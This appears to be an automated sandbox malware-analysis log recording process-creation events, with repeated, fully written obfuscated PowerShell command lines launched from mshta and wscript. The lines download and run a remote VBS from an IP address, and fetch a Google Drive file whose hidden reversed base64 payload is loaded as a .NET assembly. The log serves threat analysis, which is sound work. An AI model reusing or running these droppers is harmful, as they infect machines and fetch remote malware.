Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naX